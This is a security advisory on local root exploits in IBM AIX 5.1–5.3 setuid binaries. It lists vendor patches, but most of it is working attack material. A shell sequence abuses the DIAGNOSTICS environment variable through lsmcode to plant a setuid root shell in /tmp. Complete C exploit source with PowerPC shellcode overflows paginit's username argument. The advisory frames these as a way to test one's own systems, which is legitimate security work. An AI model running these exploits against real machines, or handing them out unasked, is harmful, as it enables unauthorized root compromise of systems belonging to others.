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AIX paginit, lsmcode and invscout Local Exploits
------------------------------------------------------------------------
SUMMARY
The following exploit codes can be used to test your system for the
vulnerabilities in paginit, lsmcode and invscout that we partly reported
about in our previous advisory:
<http://www.securiteam.com/unixfocus/6O00N0AC0A.html> IBM AIX invscout
Local Command Execution Vulnerability.
DETAILS
Vulnerable Systems:
* IBM's AIX versions 5.1, 5.2 and 5.3
Solution:
The vendor has been contacted and has released the following patches:
1) For the diag bug, bugfix numbers are IY64389(5.1), IY64523(5.2), and
IY64277(5.3).
2) For the paginit bug, bugfix numbers are IY64358(5.1), IY64522(5.2), and
IY64312(5.3).
Diag vulnerability:
There are (at least) 4 broken suid binaries.
-r-sr-xr-x 1 root system 10014 Sep 16 2002 /usr/sbin/lsmcode
-r-sr-x--- 1 root system 2796 Jan 26 2003
/usr/sbin/diag_exec
-r-sr-xr-x 1 root system 450433 Apr 08 2004 /usr/sbin/invscout
-r-sr-xr-x 1 root system 511362 Apr 08 2004
/usr/sbin/invscoutd
All these binaries are exploited the same way: the path set in the
$DIAGNOSTICS environment is used by these binaries to execute
$DIAGNOSTICS/bin/Dctrl as root.
Example:
Executing the following gives a root shell:
mkdirhier /tmp/aap/bin
export DIAGNOSTICS=/tmp/aap
cat > /tmp/aap/bin/Dctrl << EOF
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
EOF
chmod a+x /tmp/aap/bin/Dctrl
lsmcode
/tmp/.shh
Paginit vulnerability:
The following setuid binary:
-r-sr-xr-x 1 root security 7354 Mar 12 2003 /usr/bin/paginit
Does not do a bounds check on the first commandline argument, which is
supposed to be a username. If you feed paginit the proper data and hit
enter, root priviledges are gained.
Exploit:
/* exploit for /usr/bin/paginit
tested on: AIX 5.2
if the exploit fails it's because the shellcode
ends up at a different address. use dbx to check,
and change RETADDR accordingly.
cees-bart <ceesb@cs.ru.nl>
*/
#define RETADDR 0x2ff22c90
char shellcode[] =
"\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd"
"\x7c\xa8\x02\xa6"
"\x38\xe0\x11\x11"
"\x39\x20\x48\x11"
"\x7c\xc7\x48\x10"
"\x38\x46\xc9\x05"
"\x39\x25\x11\x11"
"\x38\x69\xef\x17"
"\x38\x87\xee\xef"
"\x7c\xc9\x03\xa6"
"\x4e\x80\x04\x20"
"\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00"
;
char envlabel[] = "X=";
void printint(char* buf, int x) {
buf[0] = x >> 24;
buf[1] = (x >> 16) & 0xff;
buf[2] = (x >> 8) & 0xff;
buf[3] = x & 0xff;
}
int main(int argc, char **argv) {
char *env[3];
char code[1000];
char buf[8000];
char *p, *i;
int offset1 = 0;
offset1 = 0; // atoi(argv[1]);
memset(code, 'C', sizeof(code));
memcpy(code, envlabel,sizeof(envlabel)-1);
// landingzone
for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4)
printint(i, 0x7ca52a79);
memcpy(code+sizeof(code)-sizeof(shellcode), shellcode,
sizeof(shellcode)-1);
code[sizeof(code)-1] = 0;
env[0] = code;
env[1] = 0;
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf)-1] = 0;
p = buf;
p += 4114;
printint(p,RETADDR); // try to hit the landingzone
p += 72;
printint(p, RETADDR); // any readable address (apparently not
overwritten)
execle("/usr/bin/paginit", "/usr/bin/paginit", buf, 0, env);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:ceesb@cs.ru.nl> cees-bart.
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